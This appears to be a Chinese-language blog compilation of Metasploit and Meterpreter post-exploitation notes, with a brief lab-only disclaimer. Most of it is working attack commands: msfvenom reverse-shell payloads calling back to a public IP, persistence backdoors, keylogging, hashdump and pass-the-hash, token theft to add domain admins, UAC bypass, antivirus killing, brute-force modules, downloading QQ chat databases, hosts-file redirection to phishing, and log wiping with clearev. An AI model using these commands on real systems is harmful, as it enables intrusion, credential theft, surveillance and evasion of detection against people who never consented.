当前位置:   article > 正文

meterpreter会话渗透利用常用的32个命令归纳小结_db_import test1.xml

db_import test1.xml

仅作渗透测试技术实验之用,请勿针对任何未授权网络和设备。

https://www.cnblogs.com/ssooking/p/6192995.html

run vnc 无法操作的远程桌面

1、background命令

返回,把meterpreter后台挂起
2、session命令
session 命令可以查看已经成功获取的会话
可以使用session -i 连接到指定序号的meterpreter会话已继续利用
3、shell命令
获取目标主机的远程命令行shell
如果出错,考虑是目标主机限制了cmd.exe的访问权,可以使用migrate注入到管理员用户进程中再尝试
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
4、cat命令
查看目标主机上的文档内容
例如:cat  C:\\boot.ini 查看目标主机启动引导信息
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
5、getwd命令
获取系统工作的当前目录
6、upload命令
上传文件到目标主机,例如把后门程序setup.exe传到目标主机system32目录下
upload  setup.exe  C:\\windows\\system32\
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
7、download命令
把目标主机上的文件下载到我们的攻击主机上
例如:把目标主机C盘根目录下的boot.ini文件下载到攻击主机的/root/目录下
download C:\\boot.ini /root/
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
download C:\\"Program Files"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/
把目标主机上的QQ聊天记录下载到攻击主机的root目录下(仅实验用途,是否要考虑变更你QQ程序的安装路径了呢)
8、edit命令
调用vi编辑器,对目标主机上的文件修改
例如修改目标主机上的hosts文件,使得目标主机访问baidu时去到准备好的钓鱼网站(仅限实验用途)
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
在目标主机上ping www.baidu.com,出来的目标IP就是我们修改的192.168.1.1了
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
9、search命令
在目标主机文件系统上查找搜索文件
例如:search  -d  c:\\  -f  *.doc
在目标主机C盘下搜索doc文档
10、ipconfig命令
这个不多说,查看目标主机上的网络参数
11、portfwd命令
端口转发
例如目标主机上开启了3389,但是只允许特定IP访问,攻击主机无法连接,可以使用portfwd命令把目标主机的3389端口转发到其他端口打开
例如:portfwd  add -l  1122 -p 3389 -r  192.168.250.176
把目标主机192.168.250.176的3389端口转发到1122端口
这是只需要连接目标的1122端口就可以打开远程桌面了
rdesktop  -u  administrator  -p  123456  192.168.250.176:1122
12、route命令
这个也不多说,显示目标主机上的主机路由表
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
13、getuid
查看meterpreter注入到目标主机的进程所属用户
14、sysinfo
查看目标主机系统信息
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
15、ps命令
查看目标主机上运行的进程信息,结合migrate使用
16、migrate
将meterpreter会话移植到另一个进程
例如反弹的meterpreter会话是对方打开了一个你预置特殊代码的word文档而产生的,那么对方一旦关闭掉该word文档,我们获取到的meterpreter会话就会随之关闭,所以把会话进程注入到explorer.exe是一个好方法
可以先用ps命令看一下目标主机的explorer.exe进程的pid
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
是1668
然后我们用migrate 1668 把meterpreter会话注入进去
17、execute命令
在目标主机上运行某个程序
例如我们目前注入进程到explorer.exe后,运行用户为超级管理员administrator
我们运行一下目标主机上的记事本程序
execute  -f  notepad.exe
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
目标主机上立马弹出来一个记事本程序,如下图:
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
这样太明显,如果希望隐藏后台执行,加参数-H
execute  -H -f  notepad.exe
此时目标主机桌面没反应,但我们在meterpreter会话上使用ps命令看到了

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
再看一个,我们运行目标主机上的cmd.exe程序,并以隐藏的方式直接交互到我们的meterpreter会话上
命令:
execute  -H -i -f  cmd.exe
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
这达到的效果就跟使用shell命令一样了
再来一个,在目标主机内存中直接执行我们攻击主机上的攻击程序,比如wce.exe,又比如木马等,这样可以避免攻击程序存储到目标主机硬盘上被发现或被查杀。
execute  -H -m -d notepad.exe -f  wce.exe -a "-o  wce.txt"
-d 在目标主机执行时显示的进程名称(用以伪装)
-m 直接从内存中执行
 "-o  wce.txt"是wce.exe的运行参数
 18、getpid
获取meterpreter会话在目标主机上注入进程的进程号
19、shutdown命令
关闭目标主机
20、后渗透模块post/windows/gather/forensics/enum_drives调用
在获取meterpreter会话session后,调用post/windows/gather/forensics/enum_drives,可获取目标主机存储器信息:
命令,在msfconsole下:
use post/windows/gather/forensics/enum_drives
set SESSION 1
exploit
效果如图:
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
或直接在meterpreter会话中以命令run  post/windows/gather/forensics/enum_drives调用
21、调用post/windows/gather/checkvm后渗透模块,确定目标主机是否是一台虚拟机
命令:
run  post/windows/gather/checkvm
效果如下图:
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
22、persistence后渗透模块向目标主机植入后门程序
命令:
run  persistence -X  -i  5  -p 4444  -r 172.17.11.18 
-X 在目标主机上开机自启动
-i  不断尝试反向连接的时间间隔
效果如下图:
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
执行过程:
创建攻击载荷->攻击载荷植入到目标主机c:\windows\temp目录下,是一个.vbs的脚本->写目标主机注册表键值实现开机自动运行。
下图,在攻击主机上监听4444端口,等待反弹会话成功
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
下图,看目标主机注册表Run键值果然被写入了一个pDTizIlNK的键值,执行后门vbs脚本
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
23、调用metsvc后渗透攻击模块
命令:run  metsvc
效果如下图:
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
执行过程:在目标主机上创建一个监听31337端口的服务->在目标主机c:\windows\temp\下创建一个存放后门服务有关文件程序的目录,并上传metsrv.x86.dll、metsvc-server.exe、metsvc.exe三个文件到该目录下->开启服务
成功后:在目标主机上看到31337号端口已开,且服务多了一个meterpreter(如下图)
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
24、调用getgui后渗透攻击模块
作用:开启目标主机远程桌面,并可添加管理员组账号
命令:
run  getgui  -e
开启目标主机远程桌面
如下图:
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
开启目标主机的远程桌面服务后,可以添加账号以便利用
命令:
run  getgui  -u  example_username  -p  example_password
如下图:
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
执行成功,可以使用kali的rdesktop命令使用远程桌面连接目标主机
rdesktop  -u  kali  -p  meterpreter  192.168.250.176:3389
25、提权命令getsystem
使用getsystem提升当前进城执行账户微system用户,拿到系统最高权限
命令:getsystem
26、键盘记录器功能keyscan
命令:
keyscan_start   开启记录目标主机的键盘输入
keyscan_dump   输出截获到的目标键盘输入字符信息
keyscan_stop     停止键盘记录
效果如下图:
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
箭头所指为截获到目标主机的键盘输入字符
27、系统账号密码获取
命令:hashdump
在获得system权限的情况下,使用hashdump命令可以到处目标主机的SAM文件,获取目标主机的账号密码hash信息,剩下的可以用爆破软件算出明文密码
效果如图:
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
28、调用post/windows/gather/enum_applications模块获取目标主机上的软件安装信息
命令:run  post/windows/gather/enum_applications
效果如图:
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
29、调用post/windows/gather/dumplinks获取目标主机上最近访问过的文档、链接信息
命令:run  post/windows/gather/dumplinks
效果如下图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

30、调用post/windows/gather/enum_ie后渗透模块,读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码
命令:run  post/windows/gather/enum_ie
效果如下图:
[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
获取到的目标主机上的ie浏览器缓存历史记录和cookies信息等都保存到了攻击主机本地的/root/.msf5/loot/目录下。

31、route命令

使用route命令可以借助meterpreter会话进一步msf渗透内网,我们已经拿下并产生meterpreter反弹会话的主机可能出于内网之中,外有一层NAT,我们无法直接向其内网中其他主机发起攻击,则可以借助已产生的meterpreter会话作为路由跳板,攻击内网其它主机。

可以先使用run  get_local_subnets命令查看已拿下的目标主机的内网IP段情况

命令:run  get_local_subnets

如下图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

其内网尚有192.168.249.0/24网段,我们无法直接访问

下面做一条路由,下一跳为当前拿下主机的session id(目前为5),即所有对249网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递。

命令:route add  192.168.249.0 255.255.255.0 5

再使用route print查看一下路由表,效果如下图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结
最后我们就可以通过这条路由,以当前拿下的主机meterpreter作为路由跳板攻击249网段中另一台有ms08-067漏洞的主机,获得反弹会话成功顺利拿下了另一台内网主机192.168.249.1,如下图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结

32、clearev命令

入侵痕迹擦除

在渗透利用过程中难免留下日志等信息痕迹,使用clearev命令擦除痕迹后再跑。

命令:clearev

效果如下图:

[8.15]meterpreter会话渗透利用常用的32个命令归纳小结



metasploit msfconsole 命令

 

msf > help

db_autopwn Commands
===================

    Command       Description
    -------       -----------
    db_autopwn    Automatically exploit everything


Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    banner        Display an awesome metasploit banner
    cd            Change the current working directory
    color         Toggle color
    connect       Communicate with a host
    exit          Exit the console
    get           Gets the value of a context-specific variable
    getg          Gets the value of a global variable
    grep          Grep the output of another command
    help          Help menu
    history       Show command history
    irb           Drop into irb scripting mode
    load          Load a framework plugin
    quit          Exit the console
    route         Route traffic through a session
    save          Saves the active datastores
    sessions      Dump session listings and display information about sessions
    set           Sets a context-specific variable to a value
    setg          Sets a global variable to a value
    sleep         Do nothing for the specified number of seconds
    spool         Write console output into a file as well the screen
    threads       View and manipulate background threads
    unload        Unload a framework plugin
    unset         Unsets one or more context-specific variables
    unsetg        Unsets one or more global variables
    version       Show the framework and console library version numbers


Module Commands
===============

    Command       Description
    -------       -----------
    advanced      Displays advanced options for one or more modules
    back          Move back from the current context
    edit          Edit the current module or a file with the preferred editor
    info          Displays information about one or more modules
    loadpath      Searches for and loads modules from a path
    options       Displays global options or for one or more modules
    popm          Pops the latest module off the stack and makes it active
    previous      Sets the previously loaded module as the current module
    pushm         Pushes the active or list of modules onto the module stack
    reload_all    Reloads all modules from all defined module paths
    search        Searches module names and descriptions
    show          Displays modules of a given type, or all modules
    use           Selects a module by name


Job Commands
============

    Command       Description
    -------       -----------
    handler       Start a payload handler as job
    jobs          Displays and manages jobs
    kill          Kill a job
    rename_job    Rename a job


Resource Script Commands
========================

    Command       Description
    -------       -----------
    makerc        Save commands entered since start to a file
    resource      Run the commands stored in a file


Database Backend Commands
=========================

    Command           Description
    -------           -----------
    db_connect        Connect to an existing database
    db_disconnect     Disconnect from the current database instance
    db_export         Export a file containing the contents of the database
    db_import         Import a scan result file (filetype will be auto-detected)
    db_nmap           Executes nmap and records the output automatically
    db_rebuild_cache  Rebuilds the database-stored module cache
    db_status         Show the current database status
    hosts             List all hosts in the database
    loot              List all loot in the database
    notes             List all notes in the database
    services          List all services in the database
    vulns             List all vulnerabilities in the database
    workspace         Switch between database workspaces


Credentials Backend Commands
============================

    Command       Description
    -------       -----------
    creds         List all credentials in the database

msf > 

 

 

 

来源 http://www.cnblogs.com/hookjoy/p/7989715.html

  • payload的几个常用生成

  1. 生成windows下的反弹木马

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=60.205.212.140 LPORT=8888 -f exe > 8888.exe
    // -p < payload > -f < format> -o < path> = >

  2. 监听

    use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 172.17.150.246 //阿里云云服务器这里是内网ip
    set LPORT 8888
    exploit -j

  3. PHP:

    msfvenom -p php/meterpreter_reverse_tcp LHOST=60.205.212.140 LPORT=8888 -f raw > shell.php
    use exploit/multi/handler
    set PAYLOAD php/meterpreter_reverse_tcp
    set LHOST 172.17.150.246
    set LPORT 8888
    exploit -j

  4. shellcode:

    msfvenom -p windows/meterpreter/reverse_tcp LPORT=1234 LHOST=60.205.212.140 -e x86/shikata_ga_nai -i 11 -f py > 1.py //-e 使用编码 -i 编码次数


  • 内网代理

  1. 首先需要链接sessions,在此基础下添加路由

    meterpreter > run get_local_subnets //获取网段
    meterpreter > run autoroute -s 172.2.175.0/24 //添加路由
    meterpreter > run autoroute -p //查看路由
    meterpreter > run autoroute -d -s 172.2.175.0 //删除网段
    meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24 //探测该网段下的存活主机。
    meterpreter > background //后台sessions


  • 提权

  1. getsystem

    meterpreter > getsystem //直getsystem提权,最常用简单的办法

  2. 使用exp提权

    meterpreter > background //先后台运行会话
    [*] Backgrounding session 1…
    msf > use post/windows/escalate/ms10_073_kbdlayout
    msf > show options
    msf > set session 1 //设置要使用的会话
    msf post(ms10_073_kbdlayout) > exploit
    注意:如果创建了一个system进程,就可以立马sessions 1进入会话,然后ps查看进程,使用migrate pid注入到进程。
    或者直接:
    meterpreter > run post/windows/escalate/ms10_073_kbdlayout

3.盗取令牌

meterpreter > use incognito //进入这个模块
meterpreter > list_tokens –u //查看存在的令牌
meterpreter > impersonate_token NT AUTXXXX\SYSTEM //令牌是DelegationTokens一列,getuid查看,两个斜杠

注:只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌,一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的,建好的账户没有这个权限。使用菜刀(IIS服务器权限)反弹meterpreter是服务型权限。

4.Bypassuac

msf > use exploit/windows/local/bypassuac //32位与64位一样,其他几个模块也一样
msf > show options
msf > set session 4
msf > run //成功后会返回一个新的session,进入新会话,发现权限没变,使用getsystem即可完成提权

5.Hash

meterpreter > run post/windows/gather/smart_hashdump //读取hash这种做法最智能,效果最好。


  • 建立持久后门

  1. 服务启动后门:

    meterpreter > run metsvc -A //再开起一个终端,进入msfconsole
    msf > use exploit/multi/handler //新终端中监听
    msf > set payload windows/metsvc_bind_tcp
    msf > set LPORT 31337
    msf > set RHOST 192.168.0.128
    msf > run //获取到的会话是system权限

  2. 启动项启动后门

    meterpreter > run persistence -X -i 10 -p 6666 -r 192.168.71.105

    // -X 系统开机自启,-i 10 10秒重连一次,-p 监听端口,-r 监听机。直接监听就好了,他自己会链接回来。
    注意到移除 persistence 后门的办法是删除 HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ 中的注册表键和 C:\WINDOWS\TEMP\ 中的 VBScript 文件。
    缺点:容易被杀毒软件杀 。

这两个后门有个弊端,在进程中都会存在服务名称为meterpreter的进程。


  • 漏洞扫描

  1. 对端口都扫描

    use auxiliary/scanner/portscan/tcp
    show options
    set rhosts 192.168.2.1-255
    set ports 21,22,25,443,445,1433,3306
    set threads 20
    exploit

  2. mssql开发利用

    1. 对各个ip是否有mssql服务的探测
      use scanner/mssql/mssql_ping //测试MSSQL的存在和信息
      show options
      set rhosts 192.168.2.1-255
      set threads 30
      exploit
    2. 对扫描到的ip进行爆破
      use scanner/mssql/mssql_login //具体配置show options。
    3. sa权限对其利用
      use admin/mssql/mssql_exec
      set rhost 192.168.2.10
      set password sa
      set CMD cmd.exe /c echo hello
      exploit
  3. mysql开放利用

  4. 爆破ssh模块:

    use auxiliary/scanner/ssh/ssh_login
    set rhosts 7.7.7.20
    set username root
    set pass_file /root/pass.txt //加载字典,可以收集密码做字典
    set threads 50
    run

  5. 通过nmap扫描基本漏洞:

    msf > nmap –script=vuln 受害靶机ip地址
    msf > nmap –script=mysql-info 192.168.0.4 //扫描mysql数据库信息 版本 等..

最后清除记录

msf > clearev //删除目标机上的应用程序、系统和安全日志。


一些常用命令

查看系统命令 sysinfo

截图 screenshot

查看是否是虚拟机 run checkvm

查看运行木马的用户 getuid

注入到进程 migrate pid //成功会提示successfully

加载mimikatz模块 meterpreter > load mimikatz meterpreter > wdigest //需要system权限

获取键盘记录:meterpreter> run post/windows/capture/keylog_recorder #运行键盘记录模块,他自己创建本文。

 

Metasploit 整理笔记

http://blog.csdn.net/tan6600/article/details/46850057

一.名词解释 
exploit 
测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果。常见的 
有内存溢出,网站程序漏洞利用,配置错误exploit。 
payload 
我们想让被攻击系统执行的程序,如reverse shell 可以从目标机器与测试者之间建立一 
个反响连接,bind shell 绑定一个执行命令的通道至测试者的机器。payload 也可以是只 
能在目标机器上执行有限命令的程序。 
shellcode 
是进行攻击时的一系列被当作payload 的指令,通常在目标机器上执行之后提供一个可 
执行命令的shell。 
module 
MSF 的模块,由一系列代码组成。 
listener 
等待来自被攻击机器的incoming 连接的监听在测试者机器上的程序

二. 编码器 
msfencode –l 查看可用的编码器(encoders),效果最佳的是x86/shikata_ga_nai

三.信息刺探与收集 
1、攻击第一步:基础信息收集 
①whois 查询: 
msf > whois example.com 
msf> whois 192.168.1.100

在线手机服务器IP工具

③nslookup 
set type=mx 
example.com

2、用nmap 探测开放端口和服务:

-sS SYN 半开扫描 
-sT TCP 半开扫描 
-Pn 不使用ping方式探测主机 
-A 探测服务类型 
-6 开启IPV6 扫描 
-O 探测操作系统版本

常用扫描参数组合: 
nmap –sS –Pn 192.168.0.111 
nmap –sS –Pn –A 192.168.0.111

3、MSF 与postgresql 协同工作 
/etc/init.d/postgreql-8.3 start 
msf> db_connect postgres:toor@127.0.0.1/msf 
msf> db_status 
导入nmap 扫描的结果: 
nmap –sS –Pn –A –oX Subnet1 192.168.1.0/24 # -oX 扫描结果导出为Subnet1.xml 
msf> db_import Subnet1.xml 
msf> db_hosts –c address #查看导入的主机IP 
(msf 也可以和mysql 一起工作,在bt5 r1 中msf 默认支持连接mysql: 
msf> db_driver mysql 
msf> db_connect root:toor@127.0.0.1/msf3 #连接本机mysql 的msf3 数据库 
mysql 默认密码toor,使用db_connect 连接时会自动创建msf3 库)

4、高级扫描方式: 
①msf> use auxiliary/scanner/ip/ipidseq #IPID 序列扫描器,与nmap 的-sI -O 选项类似 
show options 
set RHOSTS 192.168.1.0/24 
set RPORT 8080 
set THREADS 50 
run 
(RHOSTS、RPORT 等参数也可以用小写) 
②msf> nmap –PN –sI 192.168.1.09 192.168.1.155 
③nmap 连接数据库: 
msf> db_connect postgres:toor@127.0.0.1/msf 
msf> db_nmap –sS –A 192.168.1.111 
msf> db_services #查看扫描结果 
④使用portscan 模块: 
msf> search postscan 
msf> use scanner/postscan/syn 
set RHOSTS 192.168.1.111 
set THREADS 50 
run

5、特定扫描: 
smb_version 模块: 
msf> use auxiliary/scanner/smb/smb_version 
show options 
set RHOSTS 192.168.1.111 
run 
db_hosts –c address,os_flavor 
查找mssql 主机: 
msf> use auxiliary/scanner/mssql/mssql_ping 
show options 
set RHOSTS 192.168.1.0/24 
set THREADS 255 
run 
SSH 服务器扫描: 
msf> use auxiliary/scanner/ssh/ssh_version 
set THREADS 50 
run 
FTP 主机扫描: 
msf> use auxiliary/scanner/ftp/ftp_version 
show options 
set RHOSTS 192.168.1.0/24 
set THREADS 255 
run 
扫描FTP 匿名登录: 
use auxiliary/scanner/ftp/anonymos 
set RHOSTS 192.168.1.0/24 
set THREADS 50 
run 
扫描SNMP 主机: 
msf> use auxiliary/scanner/snmp/snmp_login 
set RHOSTS 192.168.1.0/24 
set THREADS 50 
run

四.基本漏洞扫描 
1、使用nc 与目标端口通信,获取目标端口的信息: 
nc 192.168.1.111 80 
GET HTTP 1/1 
Server: Microsoft-IIS/5.1 
(1:还有一个功能与nc 类似的工具Ncat,产自nmap 社区,可实现相同功能: 
ncat -C 192.168.1.111 80 
GET / HTTP/1.0

2:题外:ncat 还可以做聊天服务器呢!在服务器端监听然后多个客户端直接连上就 
可以聊天了:服务器(chatserver):ncatncat -l –chat 其他客户端:ncat chatserver

3:ncat 还可以用来查看各种客户端的请求信息,比如论坛里有人问中国菜刀有木有后门,那么可以这样查看中国菜刀连接后门时发送的数据: 
服务器(server.example.com)上:ncat -l –keep-open 80 –output caidao.log > /dev/null 
然后使用菜刀连接http://server.example.com/nc.php 并请求操作,这是菜刀发送的数据就保存到服务器的caidao.log 里面了。也可以导出为hex 格式,–output 换为–hex-dump就可以了。

4:其实与nc 功能类似的工具在bt5 里面还有很多,比如还有一个sbd: 
监听:sbd -l -p 12345 
连接:sbd 192.168.1.111 12345

5:当然也可以用来聊天,与ncat 的不同之处在于ncat 自动对用户编号user1、user2、…, 
而sbd 可以自定义昵称,且不需要专门单独监听为聊天服务器: 
pc1:sbd -l -p 12345 -P chowner 
pc2:sbd pc1 12345 -P evil

6:其实nc 也可以用来聊天的: 
pc1:nc -l -p 12345 
pc2:telnet pc1 12345)

3、与nessus 结合扫描: 
使用Nessus 扫描完成后生成.nessus 格式的报告,导入到MSF: 
db_connect postgres:toor@127.0.0.1/msf 
db_import /tmp/nessus_report_Host_test.nessus 
db_hosts –c address,svcs,vulns 
db_vulns 
在MSF 中使用Nessus: 
db_connect postgres:toor@127.0.0.1/msf 
load nessus 
nessus_connect nessus:toor@192.168.1.111:8834 ok 
nessus_policy_list #查看存在的扫描规则 
nessus_scan_new 2 bridge_scan 192.168.1.111 #2 表示规则的ID 号,bridge_scan 自定义扫描名称 
nessus_scan_status #查看扫描进行状态 
nessus_report_list #查看扫描结果 
nessus_report_get skjla243-3b5d-* #导入报告 
db_hosts –c address,svcs,vulns

4、特殊扫描: 
SMB 弱口令: 
msf> use auxiliary/scanner/smb/smb_login 
set RHOSTS 192.168.1.111-222 
set SMBUser Administrator 
set SMBPass admin 
run 
VNC 空口令: 
msf> use auxiliary/scanner/vnc/vnc_none_auth 
set RHOSTS 192.168.1.111 
run 
Open X11 空口令: 
msf> use auxiliary/scanner/x11/open_x11 
set RHOST 192.168.1.0/24 
set THREADS 50 
run 
当扫描到此漏洞的主机后可以使用xspy 工具来监视对方的键盘输入: 
cd /pentest/sniffers/xspy/ 
./xspy –display 192.168.1.125:0 –delay 100 
(xspy 这货在bt5 r1 里面貌似木有了)

五.基础溢出命令 
1、基本命令: 
查看可用溢出模块show exploits 
查看辅助模块show auxiliary 包括扫描器,拒绝服务模块,fuzzer 工具或其他。 
查看可用选项show options 
加载模块后退出此模块back 
例子: 
msf> use windows/smb/ms08_067_netapi 
back 
搜索模块search 
例子: searh mssql search ms08_067 
查看当前模块可用的payload: show payloads 
例子: 
use windows/smb/ms08_067_netapi 
show payloads 
set payload windows/shell/reverse_tcp 
show options 
**查看可选的目标类型**show targets 
**查看更多信息**info 
设置一个选项或取消设置set/unset 
设置或取消全局选项setg/unsetg 例如设置LHOST 就可以用setg,避免后面重复设置 
保存全局选项的设置save 当下次启动仍然生效 
查看建立的session sessions –l 
激活session sessions –i num #num 为session 编号

2、暴力端口探测: 
当主机端口对外开放但是普通探测方法无法探测到时,用此模块,msf 将对目标的所有 
端口进行尝试,直到找到一个开放端口并与测试者建立连接。 
例子: 
use exploit/windows/smb/ms08_067_netapi 
set LHOST 192.168.1.111 
set RHOST 192.168.1.122 
set TARGET 39 #Windows XP SP3 Chinese - Simplified (NX) 
search ports #搜索与ports 相关模块 
set PAYLOAD windows/meterpreter/reverse_tcp_allports 
exploit –j #作为后台任务运行 
sessions –l –v 
sesssions –i 1

3、MSF 脚本文件: 
为了缩短测试时间可以将msf 命令写入一个文件,然后在msf 中加载它。 
加载方式:msfconsole 的resource 命令或者msfconsole 加上-r 选项 
例子: 
echo ‘version’ > resource.rc 
echo ‘load sounds’ >> resource.rc 
msfconsole –r resource.rc 
例子: 
echo ‘use exploit/windows/smb/ms08_067_netapi’ > autoexp.rc 
echo ‘set RHOST 192.168.1.133’ >> autoexp.rc 
echo ‘set PAYLOAD windows/meterpreter/reverse_tcp’ >> autoexp.rc 
echo ‘set LHOST 192.168.1.111’ >> autoexp.rc 
echo ‘exploit’ >> autoexp.rc 
msfconsole 
msf> resource autoexp.rc

六.METERPRETER 
1、当对目标系统进行溢出时,使用meterpreter 作为payload,给测试者返回一个shell,可用于在目标机器上执行更多的操作。 
例子: 
msf> nmap –sT –A –P0 192.168.1.130 #探测开放服务 
假如已经探测到1433(TCP)和1434(UDP)端口(mssql), 
msf> nmap –sU 192.168.1.130 –P 1434 #确认端口开放 
msf> use auxiliary/scanner/mssql/mssql_ping 
show options 
set RHOSTS 192.168.1.1/24 
set THREADS 20 
exploit 
至此可获取服务器名称,版本号等信息。 
msf> use auxiliary/scanner/mssql/mssql_login 
show options 
set PASS_FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txt 
set RHOSTS 192.168.1.130 
set THREADS 10 
set verbose false 
exploit 
暴力猜解登陆密码。接下来使用mssql 自带的xp_cmdshell 功能添加账户: 
msf> use exploit/windows/mssql/mssql_payload 
show options 
set payload windows/meterpreter/reverse_tcp 
set LHOST 192.168.1.111 
set LPORT 433 
set RHOST 192.168.1.130 
set PASSWORD password130 
exploit 
当获取到一个meterpreter shell 后可以执行更多的操作: 
获取屏幕截图:screenshot 
获取系统信息:sysinfo 
获取键盘记录: 
meterpreter> ps #查看目标机器进程,假设发现explorer.exe 的进程号为1668: 
meterpreter> migrate 1668 #插入该进程 
meterpreter> run post/windows/capture/keylog_recorder #运行键盘记录模块,将击键记录保存到本地txt 
cat /root/.msf3/loot/*.txt #查看结果 
获取系统账号密码: 
meterpreter> use priv 
meterpreter> run post/windows/gather/hashdump 
当获取到密码的hash 之后无法破解出明文密码且无法直接使用hash 登陆,需要使用 
pass-the-hash 技术: 
msf> use windows/smb/psexec 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST 192.168.1.111 
set LPORT 443 
set RHOST 192.168.1.130 
set SMBPass aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29 
exploit 
获取到系统权限后我们可以新建一个普通账号,然后使用此账号执行我们的后门: 
在目标机器上执行:net uaer hacker pass /add 
本地生成一个后门程序: 
msfpayload windows/meterpreter/reverse_tcp 
LHOST=192.168.1.111 LPORT=443 X >payload.exe 
将payload.exe 拷贝到目标机器然后使用新建立的账号执行本地执行端口监听,等待来自目标机器连接: 
msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp 
LHOST=192.168.1.111 LPORT=443 
use priv 
getsystem 
getuid 
至此取得SYSTEM 权限

2、令牌模拟:当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限,之后登陆其他机器时不需要登陆密码。 
meterpreter> ps # 查看目标机器进程,找出域控账户运行的进程ID,假如发现PID 为380 
meterpreter> steal_token 380 
有时ps 命令列出的进程中可能不存在域控账户的进程,此时使用incognito 模块查看可 
用token: 
meterpreter> use incognito 
meterpreter> list_tokens –u #列出可用token,假如找到域控token 
meterpreter> impersonate_token SNEAKS.IN\ihazdomainadmin 
meterpreter> add_user hacker password –h 192.168.1.50 #在域控主机上添加账户 
meterpreter> add_group_user “Domain Admins” hacker –h 192.168.1.50 #将账户添加至域管理员组

3、内网渗透:当取得同网段内一台主机的权限后可以进一步渗透网内其他主机: 
例子: 
meterpreter> run get_local_subnets #查看网段/子网 
Local subnet: 192.168.33.0/255.255.255.0 
meterpreter> background #转入后台运行 
msf> route add 192.168.33.0 255.255.255.0 1 #本地添加路由信息 
msf> route print #查看添加的信息 
msf> use linux/samba/lsa_transnames_heap #准备向内网目标主机进攻 
set payload linux/x86/shell/reverse_tcp 
set LHOST 10.10.1.129 #此处为attacking 主机的外网IP 
set LPORT 8080 
set RHOST 192.168.33.132 #内网目标主机 
exploit 
也可以使用自动式添加路由模块: 
msf> load auto_add_route 
msf> exploit

4、Meterpreter 脚本: 
使用run scriptname 方式执行 
①vnc 脚本,获取远程机器vnc 界面控制 
meterpreter> run vnc 
meterpreter> run screen_unlock 
②进程迁移 
当攻击成功后将连接进程从不稳定进程(如使用浏览器溢出漏洞exp 进行攻击时浏览器可能会被目标关闭)迁移至稳定进程(explorer.exe),保持可连接。 
例子: 
meterpreter> run post/windows/manage/migrate 
(在64 位win7 中migrate 需要管理员权限执行后门才能成功,而migrate 前后获取的 
权限是有差异的。) 
③关闭杀毒软件 
meterpreter> run killav (这个脚本要小心使用,可能导致目标机器蓝屏死机。) 
④获取系统密码hash 
meterpreter> run hashdump 
(64 位win7 下需要管理员权限执行后门且先getsystem,然后使用 
run post/windows/gather/hashdump 来dump hash 成功率更高。 
而且如果要使用shell 添加系统账户的话win7 下得先: 
run post/windows/escalate/bypassuac ,不然可能不会成功。) 
⑤获取系统流量数据 
meterpreter> run packtrecorder –i 1 
⑥直捣黄龙 
可以干很多事情:获取密码,下载注册表,获取系统信息等 
meterpreter> run scraper 
⑦持久保持 
当目标机器重启之后仍然可以控制 
meterpreter> run persistence –X –i 50 –p 443 –r 192.168.1.111 
-X 开机启动-i 连接超时时间–p 端口–rIP 
下次连接时: 
msf> use multi/handler 
set payload windows/meterpreter/reverse_tcp 
set LPOST 443 
set LHOST 192.168.1.111 
exploit 
(会在以下位置和注册表以随机文件名写入文件等信息,如: 
C:\Users\YourtUserName\AppData\Local\Temp\MXIxVNCy.vbs 
C:\Users\YourtUserName\AppData\Local\Temp\radF871B.tmp\svchost.exe 
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\DjMzwzCDaoIcgNP) 
⑧POST 整合模块 
可实现同时多个session 操作 
例子:获取hash 
meterpreter> run post/windows/gather/hashdump 
其他还有很多,使用TAB 键补全看下就知道run post/

5、升级command shell 
例子: 
msfconsole 
msf> search ms08_067 
msf> use windows/smb/ms08_067_netapi 
set PAYLOAD windows/shell/reverse_tcp 
set TARGET 3 
setg LHOST 192.168.1.111 
